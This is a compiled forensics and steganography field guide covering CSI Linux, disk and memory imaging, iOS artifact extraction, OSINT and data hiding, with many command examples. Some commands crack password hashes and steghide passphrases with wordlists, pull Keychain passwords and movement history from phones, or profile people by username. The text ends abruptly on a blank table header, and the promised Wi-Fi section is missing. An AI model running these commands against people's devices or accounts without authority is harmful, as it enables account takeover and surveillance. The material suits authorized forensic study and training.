

DFIR & Offensive Field Guides

Forensics · Steganography · Wi-Fi Pentesting

Prepared for d4rkgunn3r

August 2026

Table of Contents

1. CSI Linux + Digital Forensics Field Guide
 2. Steganography Field Guide
 3. Wi-Fi Pentesting & Forensics Field Guide
-

CSI Linux + Digital Forensics Field Guide

A practical reference for CSI Linux, forensic tooling, iOS analysis, photo/metadata forensics, and cryptography — with working commands for each tool.

1. CSI Linux — Does It Work?

Yes. CSI Linux is an actively maintained, open-source Ubuntu-based distribution purpose-built for OSINT, digital forensics, incident response, and malware analysis. It is not abandonware — the project ships regular updates and even runs its own certification (CSIL-CI).

What it is

- **CSI Linux Analyst** — the main desktop environment, with tools pre-installed and organized by category (OSINT, forensics, malware analysis, password recovery, etc.) plus built-in **case management** for tracking investigations.
- **CSI Linux Gateway** — a TOR-ified gateway VM for anonymous dark-web research (sandboxed with AppArmor, Shorewall).
- **CSI Linux SIEM** — a log-monitoring appliance (default creds: `defender` / `Defender1!`).
- **CSI Linux Triage Drive** — a bootable forensic triage image (DD format, written with Rufus) for capturing evidence from suspect machines.

How to run it

Format	Notes
VirtualBox OVA	Install VirtualBox + Extension Pack, extract the <code>.7z</code> , import
VMware	Import the <code>.zip</code> appliance
KVM/QCOW2	For Linux hosts
Bootable triage drive	NOT an ISO — a forensic DD image written to USB with Rufus

Minimum requirements (official): 6+ GB RAM (8+ recommended), 100+ GB free disk (140+ suggested), 2+ cores, internet access. It's a heavy VM — give it 8 GB RAM / 4 cores if you can.

Default credentials: `csi` / `csi`

Verdict / gotchas

- ❑ Pre-configured, lots of curated tooling, great for OSINT workflows and structured investigations.
- ❑ Heavy: needs a beefy host, and the main appliance is VM-only (no bare-metal ISO for the full desktop).
- ❑ Check licensing: personal use is free; commercial/organization use requires a paid license — see csilinux.com.
- ❑ For pure DFIR (imaging, carving, memory), Kali, SIFT, CAINE, or Paladin are comparable alternatives.

2. Disk Imaging & Acquisition

Golden rules: image first, analyze the copy. Work on a write-blocked source. Record chain of custody (who, when, hash, method).

Tool	What it does	Key command(s)
<code>dd</code>	Low-level bit-for-bit copy	<code>dd if=/dev/sdb of=/evidence/disk.dd bs=4M status=progress</code>
<code>dcfldd</code>	<code>dd</code> with built-in hashing	<code>dcfldd if=/dev/sdb of=disk.dd bs=4M hash=sha256 hashlog=hashes.txt</code>
<code>dc3dd</code>	<code>dd</code> with error logging + multiple outputs	<code>dc3dd if=/dev/sdb of=disk.dd log=errors.log hash=sha512</code>
<code>ewfacquire</code>	Create EnCase E01 images	<code>ewfacquire /dev/sdb -t case1 -u -m physical</code>

Tool	What it does	Key command(s)
<code>ewfexport</code>	Extract raw image from E01	<code>ewfexport case1.E01 -t disk.dd -u</code>
<code>guymager</code>	GUI imaging with metadata/hash	<code>guymager</code>
<code>hdparm</code>	Verify write-blocker state	<code>hdparm -r /dev/sdb → readonly = 1 (on)</code>
<code>sha256sum</code>	Verify image integrity	<code>sha256sum disk.dd</code>

```
# Forensic imaging workflow
dcfldd if=/dev/sdb of=/evidence/case1/disk.dd bs=4M hash=sha256
      hashlog=/evidence/case1/hashes.txt
sha256sum /evidence/case1/disk.dd      # verify after imaging
hdparm -r /dev/sdb                     # confirm source is read-only
```

3. Filesystem Analysis & Data Recovery (The Sleuth Kit + carving)

Tool	What it does	Key command(s)
<code>mmls</code>	Show partition layout of an image	<code>mmls /evidence/disk.dd</code>
<code>fsstat</code>	Superblock / filesystem metadata	<code>fsstat -o 2048 /evidence/disk.dd</code>
<code>fls</code>	List files incl. deleted (by inode)	<code>fls -r -p -o 2048 disk.dd /</code> <code>fls -d -o 2048 disk.dd</code> (deleted only)
<code>istat</code>	Metadata for one inode	<code>istat -o 2048 disk.dd 12345</code>
<code>icat</code>	Dump file content by inode	<code>icat -o 2048 disk.dd 12345 > recovered.bin</code>
<code>ils</code>	List deleted inodes	<code>ils -o 2048 disk.dd</code>
<code>tsk_recover</code>	Carve all recoverable files	<code>tsk_recover -o 2048 disk.dd /evidence/out/</code>
<code>photorec</code>	Deep file carving (slow, thorough)	<code>photorec /evidence/disk.dd</code>
<code>foremost</code>	Signature-based carving	<code>foremost -i disk.dd -o /evidence/carved -t jpg,png,pdf,zip</code>
<code>scalpel</code>	Configurable carving (fast)	<code>scalpel -c /etc/scalpel/scalpel.conf -o out disk.dd</code>
<code>bulk_extractor</code>	Carve URLs, emails, hashes, GPS coords	<code>bulk_extractor -o /evidence/be disk.dd</code>
<code>binwalk</code>	Firmware / embedded file extraction	<code>binwalk -e firmware.bin</code>
<code>autopsy</code>	GUI over The Sleuth Kit	<code>autopsy</code>

```
# Mount an image read-only for analysis
mkdir /mnt/ev && mount -o loop,ro,noatime /evidence/disk.dd /mnt/ev

# Quick triage: partitions → inodes → recovered files
mmls disk.dd
fls -r -p -o 2048 disk.dd > filelist.txt
ils -o 2048 disk.dd | head -50
```

4. Memory (RAM) Forensics

Tool	What it does	Key command(s)
lime	Linux memory acquisition module	<code>insmod lime.ko</code> <code>"path=/evidence/ram.mem</code> <code>format=lime"</code>
winpmem	Windows memory acquisition	<code>winpmem_mini_x64_rc2.exe</code> <code>ram.mem</code>
volatility3	Analyze RAM (processes, network, injected code, credentials)	see below
strings	Pull readable strings from binary blobs	<code>strings -el ram.mem \</code> <code>-i password</code>
yara	Scan memory for malware signatures	<code>yara /rules/malware.yar</code> <code>ram.mem</code>

```
# Volatility 3 (auto-detects OS profile – no profile guessing)
python3 vol.py -f ram.mem windows.pslist # process list
python3 vol.py -f ram.mem windows.pstree # process tree
python3 vol.py -f ram.mem windows.cmdline # command lines
python3 vol.py -f ram.mem windows.netscan # network connections
python3 vol.py -f ram.mem windows.malfind # injected/evasive code
python3 vol.py -f ram.mem windows.dumpfiles --pid 1234
python3 vol.py -f ram.mem windows.registry.printkey --key
"Software\Microsoft\Windows\CurrentVersion\Run"
python3 vol.py -f ram.mem linux.bash # bash history (Linux images)
```

5. Network Forensics

Tool	What it does	Key command(s)
tcpdump	Live capture / pcap creation	<code>tcpdump -i eth0 -w cap.pcap</code> <code>-C 100 -W 20</code>
tshark	CLI pcap analysis (Wireshark engine)	see below
wireshark	GUI pcap analysis	<code>wireshark cap.pcap</code>
zeek	Log-based network monitoring	<code>zeek -r cap.pcap</code>
nfdump	NetFlow analysis	<code>nfdump -r nfcapd.* -s ip</code>

Tool	What it does	Key command(s)
networkminer	Passive OSINT + file extraction from pcaps	NetworkMiner.exe --pcap cap.pcap
xplico	Reconstruct emails, chats, files from pcap	xplico

```
# tshark triage one-liners
tshark -r cap.pcap -q -z io,stat,10 # traffic volume per 10s
tshark -r cap.pcap -q -z endpoints,tcp # top endpoints
tshark -r cap.pcap -Y "http.request" -T fields -e http.host -e http.uri
tshark -r cap.pcap -Y "dns" -T fields -e dns.qry.name | sort -u
tshark -r cap.pcap -Y "tcp.flags.syn==1 && tcp.flags.ack==0" -T fields -e ip.dst | sort | uniq -c | sort -rn # port-scan evidence
tshark -r cap.pcap --export-objects http,/evidence/extracted/ # carve files from HTTP streams
```

6. Log Analysis & Timelines

Tool	What it does	Key command(s)
grep / awk	Fast log triage	see below
journalctl	Query systemd journal	journalctl --since "2026-08-01" -u sshd
log2timeline / plaso	Build super-timelines	log2timeline.py /evidence/plaso.dump /mnt/ev/
psort	Filter/export timelines	psort.py -o l2tcsv -w timeline.csv plaso.dump
mactime	Bodyfile → timeline	mactime -b bodyfile.txt -d > timeline.csv
hayabusa	Fast Windows event log triage	hayabusa csv-timeline -d /logs -o timeline.csv
evtx_dump	Convert Windows .evtx to readable	python3 evtx_dump.py Security.evtx > security.json

```
# Linux: attacker brute-force fingerprint
grep "Failed password" /var/log/auth.log | awk '{print $1,$2,$3,$9,$11}' | sort | uniq -c | sort -rn | head

# Build a filesystem timeline from an image
fls -r -p -m /evidence/disk.dd /evidence/disk.dd > bodyfile.txt
mactime -b bodyfile.txt -d > timeline.csv
```

7. iOS Forensics (Deep Dive)

Acquisition tiers (choose based on access level)

1. **Logical (iTunes/Finder backup)** — easiest, most artifacts, but only app-sandbox data the OS allows. Works on any modern iOS.
2. **Encrypted backup** — captures Keychain (passwords, tokens) that plain backups omit. Requires the user's backup password or extraction via tools like Elcomsoft Phone Breaker (with legal authority).
3. **Filesystem (checkm8/checkra1n)** — full APFS dump on checkm8-vulnerable devices (iPhone 4s–X, some iPads). Requires device in DFU mode + forensic-grade handling.
4. **Physical chip-off / JTAG** — last resort, specialist hardware.

Key tools

Tool	What it does	Key command(s)
<code>libimobiledevice</code>	iOS device access over USB	see below
<code>idevicebackup2</code>	Create/restore iOS backups	<code>idevicebackup2 backup --full /evidence/backup</code>
<code>ideviceinfo</code>	Device details (UDID, iOS version, IMEI)	<code>ideviceinfo -k ProductVersion</code>
<code>idevicedate</code> , <code>devicesyslog</code>	Device clock, live syslog	<code>devicesyslog \ grep -i springboard</code>
<code>iphonebackupreader</code>	Parse/decrypt iTunes backups	<code>iphonebackupreader /evidence/backup</code>
MVT (Mobile Verification Toolkit)	Detect spyware indicators (Pegasus etc.)	<code>mvt-ios check-backup /evidence/backup</code>
<code>ileAPP</code>	Parse iOS artifacts (SMS, calls, location, Safari...) into HTML reports	<code>python3 ileapp.py -i /evidence/backup -o /evidence/report</code>
<code>plutil</code>	Read/write plist files	<code>plutil -p Info.plist</code>
<code>sqlite3</code>	Query artifact databases	see below
<code>strings</code>	Recover remnants from unallocated space	<code>strings -a Manifest.db \ grep -i imessage</code>

iOS backup structure (unzip the .zip, then explore)

```
Backup/
├─ Info.plist           # device info, iOS version, backup password state (in encrypted backups)
├─ Manifest.db          # SQLite index: fileID ↔ path on device
├─ Status.plist         # backup completion state
├─ 00/ 01/ ... ff/     # actual files named by SHA1 hash, sharded into folders
```

```
# Decrypt & unpack an iTunes backup (.zip)
unzip -P <backup_password> backup.zip -d /evidence/backup # -P only if encrypted

# Map hashed filenames back to device paths
sqlite3 /evidence/backup/Manifest.db "SELECT fileID, relativePath FROM Files;"

# Message database
sqlite3 /evidence/backup/<hash_dir>/3d0d7e5fb2ce288813306e4d4636395e047a3d28 " \
    SELECT datetime(date,'unixepoch','localtime'), is_from_me, text \
    FROM message ORDER BY date;"

# Call history
sqlite3 <call_history.db> "SELECT datetime(date,'unixepoch','localtime'), address, duration,
    flags FROM call;"

# Safari history
sqlite3 <History.db> "SELECT datetime(visit_time+978307200,'unixepoch','localtime'), url,
    title FROM history_visits JOIN history_items ON history_visits.history_item =
    history_items.id;"
```

Note: iOS stores most dates as **Mac Absolute Time** (seconds since 2001-01-01, i.e., +978307200 to convert to Unix).

High-value iOS artifacts

Artifact	Device path	What you find
Messages	Library/SMS/sms.db	iMessage/SMS, attachments, deleted-adjacent remnants
Call history	Library/CallHistoryDB/CallHistory.storedata	calls, durations, VoIP apps
Contacts	Library/AddressBook/AddressBook.sqlitedb	contacts, linked social profiles
Safari	Library/Safari/History.db	browsing history, redirects
Location	Library/Caches/locationd/consolidated.db	cell towers, Wi-Fi, GPS — full movement history
Keychain	Library/Keychains/keychain-2.db	passwords, tokens (needs encrypted backup)
App usage	Library/Knowledge/knowledgeC.db	app opens, screen time, notifications
Photos	Media/DCIM/ , Photos.sqlite	media + metadata + deleted remnants
Installed apps	Library/MobileInstallation/LastLaunchServicesMap.plist	app inventory
Wireless	Library/Preferences/com.apple.wifi.private.plist	joined Wi-Fi networks, BSSID history

8. Photo & Metadata Forensics

The workhorse: `exiftool`

What it does	Key command(s)
Read ALL metadata	<code>exiftool photo.jpg</code>
Read a specific tag	<code>exiftool -GPSLatitude -GPSLongitude photo.jpg</code>
CSV export for reports	<code>exiftool -csv -r /evidence/photos/ > metadata.csv</code>
JSON export	<code>exiftool -json photo.jpg</code>
Extract embedded thumbnail	<code>exiftool -b -ThumbnailImage photo.jpg > thumb.jpg</code>
Extract all embedded images	<code>exiftool -a -b -W %d%f_%t.%e -ext jpg .</code>
GPS → KML for mapping	<code>exiftool -p kml.fmt -r photos/ > locations.kml</code> (custom format file)
Strip all metadata	<code>exiftool -all= photo.jpg</code> (copies original to <code>photo.jpg_original</code>)
Remove GPS only	<code>exiftool -gps:all= photo.jpg</code>
Camera/lens fingerprinting	<code>exiftool -Make -Model -LensID -SerialNumber photo.jpg</code>
Find photos taken on one date	<code>exiftool -DateTimeOriginal="2026:08:01" -if '\$DateTimeOriginal =~ /^2026:08:0/' photos/</code>

Other metadata & photo tools

Tool	What it does	Key command(s)
<code>file</code>	Identify file type	<code>file mystery.bin</code>
<code>strings</code>	Dump readable text (hidden notes, URLs)	<code>strings -n 8 photo.jpg</code>
<code>exiv2</code>	EXIF/IPTC/XMP read/write	<code>exiv2 pr photo.jpg</code> / <code>exiv2 rm photo.jpg</code>
<code>mat2</code>	Metadata anonymization (GUI+CLI)	<code>mat2 photo.jpg</code>
<code>geotag</code> tools	Plot GPS on maps	use exiftool KML export → Google Earth

Steganography & hidden data

Tool	What it does	Key command(s)
<code>steghide</code>	Hide/extract data in images/audio (no passphrase = weak)	<code>steghide extract -sf photo.jpg /</code> <code>steghide embed -cf cover.jpg -ef secret.txt</code>
<code>zsteg</code>	Steganography in PNG/BMP (LSB)	<code>zsteg -a photo.png</code>
<code>stegsolve</code>	GUI: bit-plane / LSB analysis	<code>stegsolve</code>
<code>outguess</code>	Legacy JPG stego	<code>outguess -r photo.jpg secret.txt</code>
<code>binwalk</code>	Embedded files/archives	<code>binwalk photo.jpg</code>
<code>foremost</code>	Carve hidden files out	<code>foremost -i photo.jpg -o out/</code>
<code>exiftool</code>	Comment/XPComment stashes	<code>exiftool -Comment photo.jpg</code>
<code>strings</code>	Plain-text stashes	<code>strings -n 6 photo.jpg</code>

Camera identification & integrity

- **Error Level Analysis (ELA)** — JPEG re-compression heatmap to find tampered regions. Use `forensically` (forensically.21tools.com) or Ghirò.
- **PRNU (sensor noise) matching** — ties a photo to a specific physical camera. Open-source: **Aletheia** ([aletheia.py](https://github.com/aletheia)), academic: Fridrich's Camera Identification tool.
- **Reverse image search** for provenance: Google Lens, TinEye, Yandex Images.

9. Cryptography for Forensics

Hashing (integrity & identification)

Tool	What it does	Key command(s)
<code>md5sum</code> / <code>sha1sum</code> / <code>sha256sum</code> / <code>sha512sum</code> / <code>b2sum</code>	Standard hashes	<code>sha256sum file.bin</code>
<code>hashid</code> / <code>hash-identifier</code>	Identify unknown hash type	<code>hashid '\$2y\$10\$...'</code>
<code>hashcat</code>	GPU password cracking	<code>hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt</code>
<code>john</code>	CPU password cracking	<code>john --format=sha256crypt hashes.txt</code>
<code>md5deep</code> / <code>hashdeep</code>	Hash entire trees, hash sets	<code>hashdeep -r -c sha256 /evidence</code> > <code>manifest.txt</code>

Tool	What it does	Key command(s)
ssdeep	Fuzzy hashing (similar files/malware)	ssdeep -r /evidence/ > fuzzy.txt
tlsh	Locality-sensitive hashing	tlsh -f file.bin

```
# hashcat mode cheat sheet (common)
# 0 MD5 | 100 SHA1 | 1400 SHA256 | 1700 SHA512 | 3200 bcrypt | 13100 Kerberos 5 TGS
hashcat -m 1400 -a 0 hashes.txt rockyou.txt --show

# Verify evidence integrity chain
hashdeep -r -c sha256 /evidence/ | tee evidence_manifest.txt
```

Symmetric encryption

Tool	What it does	Key command(s)
openssl enc	AES/other block ciphers	see below
gpg -c	Symmetric GPG (AES256 default)	gpg -c --cipher-algo AES256 secret.txt
ccrypt	Simple file encryption	ccrypt enc -K passphrase file.txt
cryptsetup	LUKS disk encryption (forensics: mount w/ key)	cryptsetup luksOpen /evidence/enc.dd vault
veracrypt	VeraCrypt containers	veracrypt -t -k "" --pim 0 - -protect-hidden=no enc.hc /mnt/v

```
# Encrypt / decrypt with OpenSSL (classic)
openssl enc -aes-256-cbc -salt -pbkdf2 -in plain.txt -out cipher.bin
openssl enc -d -aes-256-cbc -pbkdf2 -in cipher.bin -out plain.txt

# Encrypt an evidence folder to a container
cryptsetup luksFormat /evidence/evidence.img
cryptsetup luksOpen /evidence/evidence.img vault
mkfs.ext4 /dev/mapper/vault && mount /dev/mapper/vault /mnt/vault
```

Asymmetric crypto & keys

Tool	What it does	Key command(s)
gpg	Full OpenPGP keypair lifecycle	see below
openssl genrsa	Generate RSA keys	openssl genrsa -out priv.pem 2048
openssl rsa	Manage/inspect keys	openssl rsa -in priv.pem - pubout -out pub.pem
ssh-keygen	SSH keys + fingerprinting	ssh-keygen -lf key.pub / -y -f priv to derive pubkey

Tool	What it does	Key command(s)
<code>openssl x509</code>	Certificate inspection	<code>openssl x509 -in cert.pem -text -noout</code>
<code>openssl s_client</code>	Grab a live site's cert	<code>echo \ openssl s_client -connect example.com:443 2>/dev/null \ openssl x509 -noout -text</code>
<code>keytool</code>	Java keystores	<code>keytool -list -v -keystore app.jks</code>

```
# GPG: generate, encrypt, decrypt, sign, verify
gpg --full-generate-key
gpg --encrypt --recipient victim@example.com secret.txt
gpg --decrypt secret.txt.gpg
gpg --detach-sign --armor file.txt
gpg --verify file.txt.asc file.txt

# Derive a public key from a private key (password recovery aid)
ssh-keygen -y -f id_rsa > id_rsa.pub
```

Encoding & crypto-adjacent (CTFs, triage)

Tool	What it does	Key command(s)
<code>xxd</code> / <code>hexdump</code>	Hex dump / reverse	<code>xxd file.bin / xxd -r -p hex.txt > file.bin</code>
<code>base64</code>	Base64 encode/decode	<code>base64 -d cipher.txt</code>
<code>openssl base64</code>	Same, more options	<code>openssl base64 -d -in cipher.txt</code>
<code>tr</code>	ROT13 etc.	<code>echo "... " \ tr 'A-Za-z' 'N-ZA-Mn-za-m'</code>
<code>python3</code>	XOR, custom transforms	<code>python3 -c '...' (one-liners)</code>
CyberChef	Swiss-army decoder (GUI, “Magic” autodetect)	gchq.github.io/CyberChef — local browser app

```
# XOR a file with a single byte key (classic)
python3 - <<'EOF'
data = open('cipher.bin','rb').read()
open('plain.bin','wb').write(bytes(b ^ 0x2A for b in data))
EOF
```

10. OSINT Tools (CSI Linux's Specialty)

Tool	What it does	Key command(s)
theHarvester	Emails, subdomains, hosts from public sources	<code>theHarvester -d example.com -b all -l 500</code>
sherlock	Find username across ~400 platforms	<code>sherlock --timeout 5 username</code>
recon-ng	Modular OSINT framework (database-backed)	<code>recon-ng → marketplace install all</code>
spiderfoot	Automated OSINT correlation, GUI+CLI	<code>spiderfoot -s example.com -o /evidence/sf.json</code>
photon	Deep crawl a site for OSINT crumbs	<code>photon -u https://example.com -o /evidence/photon</code>
maltego	Link analysis / graph intelligence	maltego (GUI; community edition)
whois	Domain registration data	<code>whois example.com</code>
dig / host	DNS records	<code>dig example.com ANY / dig -x 8.8.8.8</code>
dnsrecon	DNS enumeration	<code>dnsrecon -d example.com -t std,brt</code>
whatweb	Website fingerprinting	<code>whatweb -v https://example.com</code>
shodan CLI	Internet-wide device search	<code>shodan host 8.8.8.8 / shodan search "port:554"</code>
waybackurls	Historical URLs from archives	<code>waybackurls example.com > urls.txt</code>
exiftool (OSINT mode)	Pull GPS/author metadata from published photos	<code>exiftool -a -gps:all downloaded.jpg</code>
gallery-dl	Bulk download media from many sites	<code>gallery-dl https://twitter.com/user</code>

```
# Find a person/org's digital footprint
theHarvester -d example.com -b google,twitter,linkedin
sherlock johndoe
whois example.com && dig example.com ANY +noall +answer
```

11. Quick-Reference Cheat Table

Task	Tool	One-liner
Image a disk	<code>dcfldd</code>	<code>dcfldd if=/dev/sdb of=img.dd bs=4M hash=sha256</code>
List deleted files	<code>fls</code>	<code>fls -r -d -o 2048 img.dd</code>
Recover everything	<code>tsk_recover</code>	<code>tsk_recover -o 2048 img.dd out/</code>
Carve images	<code>foremost</code>	<code>foremost -i img.dd -o out -t jpg,png</code>
Analyze RAM	<code>volatility3</code>	<code>python3 vol.py -f ram.mem windows.pslist</code>
Pcap HTTP requests	<code>tshark</code>	<code>tshark -r cap.pcap -Y "http.request"</code>
Read EXIF	<code>exiftool</code>	<code>exiftool -a -gps:all photo.jpg</code>
Carve stego	<code>zsteg / steghide</code>	<code>zsteg -a img.png / steghide extract -sf img.jpg</code>
iOS backup parse	<code>ileAPP</code>	<code>python3 ileapp.py -i backup -o report</code>
iOS spyware check	<code>MVT</code>	<code>mvt-ios check-backup backup/</code>
Crack hashes	<code>hashcat</code>	<code>hashcat -m 1400 -a 0 hashes.txt rockyou.txt</code>
AES encrypt	<code>openssl</code>	<code>openssl enc -aes-256-cbc -pbkdf2 -in f -out f.enc</code>
GPG sign/verify	<code>gpg</code>	<code>gpg --detach-sign f → gpg -verify f.asc f</code>

12. Practice Resources & Learning Path

1. **CSI Linux CSIL-CI** certification materials (free PDFs on csilinux.com) — structured intro to the distro.
2. **CyberDefenders** (cyberdefenders.org) — free blue-team forensics labs with real artifacts (SMS, memory, pcap challenges).
3. **Hack The Box** Forensics track + retired forensics boxes.
4. **TryHackMe** — DFIR, iOS/Android, and OSINT rooms for guided practice.
5. **DFIR DIZZY / 13Cubed** YouTube — excellent practical walkthroughs (memory, iOS, timeline).
6. **Build your own corpus:** back up your own phone, dump a USB stick, image an SD card — practice the exact commands in this guide.

7. **CyberChef** — master it; it solves 50% of CTF crypto/stego triage.

Author's note: Always work from copies, document chain of custody, and ensure you have legal authority before acquiring or analyzing evidence. Commands target Linux (Kali/CSI/SIFT); Windows equivalents exist for most tools.

Steganography Field Guide

A practical reference for hiding data (steganography) and finding it (steganalysis) across images, audio, video, text, and network carriers — with working commands for each tool. Companion piece to the CSI Linux + Forensics guide.

1. Steganography vs Cryptography

	Cryptography	Steganography
Goal	Make data unreadable	Make data invisible
Output	Looks like random gibberish (suspicious)	Looks like an innocent file
Detectability	Detection is easy, breaking is hard	Detection is the hard part
Best use	Data at rest / in transit	Covert channel, hiding in plain sight
Combined	Cryptography first, then stego → double protection	

Rule of thumb: `stego(crypto(payload))` — encrypt the payload, then hide it. A hidden encrypted blob that gets detected is still unreadable; a hidden plaintext that gets detected is game over.

Core concepts

- **Carrier (cover)** — the innocent file you hide in (JPEG, PNG, WAV, MP3, video, text)
 - **Payload** — the secret data
 - **Stego-object (stego)** — the carrier after embedding
 - **Passphrase/Key** — optional secret controlling the embedding pattern (without it, extraction is harder)
 - **Capacity** — how much payload the carrier can hold (LSB PNG: ~12.5% of file size; JPEG: much less)
 - **Detectability vs Robustness** — more payload = more detectable; more robust (spread out) = harder to extract if the file is recompressed/edited
-

2. Image Steganography

Methods

Method	Carriers	How it works	Detectability
LSB substitution	PNG, BMP (lossless)	Replace least-significant bits of pixel channels with payload bits	Low — but noisy bit-planes are statistically detectable

Method	Carriers	How it works	Detectability
DCT coefficient modulation	JPEG (lossy)	Alter quantized DCT coefficients (JSteg, F5, OutGuess, Steghide)	Medium — changes histogram statistics
Palette manipulation	GIF	Swap similar palette colors	Medium
Appending after EOI	JPEG, PNG	Append data after the end-of-image marker (<code>FF D9</code> / <code>IEND</code>)	Very low — most viewers ignore it; file size grows
Metadata fields	All	EXIF comments, XPCComment, copyright fields	Low (size change visible)
Embedded archives	Any	Zip/rar hidden inside image structure	Low — binwalk finds it instantly

Image tools

Tool	What it does	Key command(s)
<code>steghide</code>	Hide/extract in JPEG/BMP/WAV/AU (AES-encrypted, passphrase-protected)	see below
<code>outguess</code>	Classic JPEG stego (randomizes unused DCT coefficients)	<code>outguess -k "pass" -d secret.txt cover.jpg stego.jpg</code> / <code>outguess -k "pass" -r stego.jpg secret.txt</code>
<code>zsteg</code>	Auto-detect LSB/bit-plane stego in PNG/BMP (+ metadata)	<code>zsteg -a image.png</code>
<code>stegsolve</code>	GUI: bit-plane viewer, LSB extractor, frame browser	<code>stegsolve</code>
<code>stegdetect</code>	Statistically detect JSteg/OutGuess/JPHide/F5	<code>stegdetect -s 10.0 stego.jpg</code>
<code>openstego</code>	GUI: LSB + WavSteg (Cross-platform Java)	<code>openstego</code>
<code>silenteYE</code>	GUI: LSB image + audio stego	<code>silenteYE</code>
<code>steghide</code> brute-force	Crack passphrases	see section 7
<code>stegcracker</code>	Wordlist attack against steghide	<code>stegcracker stego.jpg rockyou.txt</code>
<code>stegseek</code>	Very fast steghide cracker (precomputed)	<code>stegseek stego.jpg rockyou.txt</code>
<code>pngcheck</code>	Validate PNG structure, find anomalies	<code>pngcheck -v image.png</code>
<code>binwalk</code>	Find embedded files/archives	<code>binwalk -e image.jpg</code>

Tool	What it does	Key command(s)
<code>foremost</code>	Carve hidden files out by signature	<code>foremost -i image.jpg -o out/</code>
<code>exiftool</code>	Read metadata stashes	<code>exiftool -a image.jpg</code>
<code>strings</code>	Dump plaintext remnants	<code>strings -n 8 image.jpg</code>
<code>steghide info</code>	Check if file is a steghide carrier	<code>steghide info stego.jpg</code>

```
# Steghide – the JPEG/BMP/WAV workhorse
steghide embed -cf cover.jpg -ef secret.txt -p passphrase # hide
steghide extract -sf stego.jpg -p passphrase # extract
steghide info stego.jpg # test if it's a carrier
steghide embed -cf cover.jpg -ef secret.txt -p "" # empty passphrase (common in CTFs)

# Zsteg – first-pass LSB detection on PNG/BMP
zsteg -a image.png # all known techniques
zsteg -E "b1,rgb,lsb,xy" image.png # explicit plane: bit 1, RGB, LSB, xy order

# Outguess
outguess -k secretkey -d payload.txt cover.jpg stego.jpg
outguess -k secretkey -r stego.jpg extracted.txt

# Stegdetect – JPEG statistical detection (note: doesn't detect steghide/outguess-with-key reliably)
stegdetect -s 10.0 -t jsteg,outguess,jphide,f5 suspect.jpg
```

PNG/BMP = LSB-friendly (lossless), JPEG = DCT-friendly (lossy). Steghide works on JPEG; zsteg/stegsolve on PNG/BMP. Trying steghide on a PNG is the #1 beginner mistake.

3. Audio Steganography

Methods

Method	Carriers	How it works
LSB substitution	WAV (lossless PCM)	Same concept as images — replace low bits of samples
MP3 bit-rate encoding	MP3	MP3Stego alters compressed frame bit-rates
Phase coding	WAV	Replace phase of audio segments
Echo hiding	WAV/MP3	Encode bits via echo delay/amplitude
Spread spectrum	WAV	Payload spread across the spectrum (robust, low capacity)
Spectrogram hiding	Any	Draw the payload as <i>an image</i> inside the audio spectrum (SSTV / waterfall) — visible when you look at the spectrum

Audio tools

Tool	What it does	Key command(s)
mp3stego	Hide/extract in MP3 bit-rates	<code>mp3stego -e -p pass in.wav out.mp3</code> / <code>mp3stego -d -p pass in.mp3</code>
wavsteg	LSB in WAV	<code>wavsteg -h -i cover.wav -s secret.txt -o stego.wav -a 1</code> / <code>wavsteg -x -i stego.wav -o out.txt -a 1</code>
hideme (Win)	GUI: WAV/MP3/AAC stego	GUI
DeepSound (Win)	Hides files in audio (incl. cover files)	GUI
audacity	Spectrogram view + audio analysis	<code>audacity stego.wav</code> → View > Spectrogram
sonic-visualiser	Advanced spectrum analysis	<code>sonic-visualiser stego.wav</code>
ffmpeg	Convert/extract audio streams	<code>ffmpeg -i video.mp4 audio.wav</code>
Sonic Visualizer / RX	Find "images" hidden in the spectrum	spectrogram inspection
steghide	Also works on WAV/AU	see image section

```
# WavSteg – LSB in WAV
wavsteg -h -i cover.wav -s secret.txt -o stego.wav -a 1      # embed (alpha 1 = LSB)
wavsteg -x -i stego.wav -o extracted.txt -a 1              # extract

# MP3Stego (Java)
java -jar mp3stego.jar e -p passphrase cover.wav stego.mp3  # encode
java -jar mp3stego.jar d -p passphrase stego.mp3            # decode

# Spectrogram check – the "hidden image" classic
ffmpeg -i mystery.wav -lavfi showspectrumpic=s=800x400:s1=1 spectrum.png
audacity mystery.wav # then View ▢ Spectrogram (SPECTRAL VIEW)
```

Always check the spectrogram. A surprisingly large number of CTF/IR cases hide flags, QR codes, or messages as visible images inside audio spectra. In Audacity: toggle **View → Spectrogram**, pick a wide window size (e.g. 2048–8192) for resolution.

4. Video Steganography

Tool	What it does	Key command(s)
ffmpeg	Extract every frame as images for analysis	<code>ffmpeg -i video.mp4 -vsync 0 frames/f_%04d.png</code>
openstego	Video/image LSB stego	GUI

Tool	What it does	Key command(s)
<code>steghide</code> -style per-frame	Extract frame → treat each frame as image carrier	combine with <code>zsteg/stegsolve</code>
<code>hideovideo</code> / <code>UniSpy</code>	Video carriers	GUI
<code>exiftool</code>	Check video metadata/comments	<code>exiftool -a video.mp4</code>

```
# Frame-by-frame analysis workflow
mkdir frames && ffmpeg -i video.mp4 -vsync 0 frames/f_%04d.png
for f in frames/*.png; do zsteg -a "$f"; done 2>/dev/null | grep -v "^$" | head # look for
    LSB hits
# Also check: audio track (ffmpeg -i video.mp4 audio.wav), subtitles, and appended data
    (binwalk)
```

5. Text & Document Steganography

Method	How it works	Detection
Whitespace	Trailing spaces/tabs encode bits (<code>stegsnow</code>)	Hexdump: <code>20 20 09 20</code> patterns
Zero-width characters	ZWJ (U+200D), ZWNJ (U+200C), ZWSP (U+200B) encode bits	Copy/paste into a hex viewer or use <code>u-steg</code> /online tools
Homoglyphs	Replace letters with lookalike Unicode chars	<code>iconv -f UTF-8 -t ASCII//TRANSLIT</code> changes them
Acrostic	First letter of each line/sentence	Read the text
Font/color tricks (docs)	White text on white bg, tiny font, hidden slides	Change background color, select-all
Document metadata	docx/xlsx core.xml, comments	<code>exiftool file.docx</code> / unzip and inspect
Synthetic text	Markov-generated cover text	Statistical analysis of word frequencies

Tool	What it does	Key command(s)
<code>stegsnow</code>	Whitespace stego in text files	<code>stegsnow -C -p pass -m "secret" cover.txt stego.txt / stegsnow -C -p pass stego.txt</code>
<code>cat -A</code> / <code>xxd</code>	Reveal whitespace/control chars	<code>cat -A file.txt / xxd file.txt</code>
<code>iconv</code>	Detect/replace homoglyphs	<code>iconv -f UTF-8 -t ASCII//TRANSLIT file.txt</code>
<code>unzip</code>	Inspect docx/xlsx (they're ZIPs)	<code>unzip -l doc.docx / unzip -p doc.docx word/document.xml</code>
<code>exiftool</code>	docx/pdf metadata	<code>exiftool -a doc.docx</code>

Tool	What it does	Key command(s)
